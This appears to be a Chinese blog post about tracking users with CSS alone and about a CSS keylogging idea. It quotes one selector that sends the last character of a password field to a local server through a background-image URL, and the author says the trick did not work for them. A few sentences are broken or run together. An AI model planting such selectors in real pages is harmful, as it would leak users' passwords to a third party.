今天在看技术博客的时候发现这篇文章。我发现它很有趣,所以我挖了一下。问题是老问题了,但是还是有很多值得关注和学习的地方。原帖为仅用CSS实现网页跟踪分析,主要讲记录用户交互,通过CSS获取一些基本信息。我的第一感觉是可以作为推荐系统的用户交互记录。这样就可以记录用户悬停在元素上的时间,点击操作等。浏览器感染HTML文件是从上到下渲染的(需要加载..css选择器语法参考另外,在google的帮助下,我还找到了一个获取按键输入的css脚本,其实思路差不多,这个脚本portal-css-keylogging的发现版本,主要思路是通过类似input[type="password"][value$="x"]{background-image:url("http://localhost:3000/x");}的方法获取按钮,意思就是就是,在input标签的type值为password的input中,将value以x结尾的背景设置为url指向的背景,但实际上这个url并不是图片背景,而是指向的链接按钮信息,知道通过服务器获取url中的路径后,就可以获取值了,然后设置一个css脚本对于每个按钮。但实际上这个方法我试过很多次都没有成功。浏览器不会主动将input中输入的值存入value中,所以CSS匹配始终是初始化状态下的value属性值。只有那些同步值的帧才可能导致这些危险。但是可以确认一件事,可以通过css中的url发送get请求。这让我想起了jsonp的原理,通过在script标签中构造一个类似src属性的方法来解决跨域问题。如果不注意第三方库,可能会有这样的恶意脚本加载。
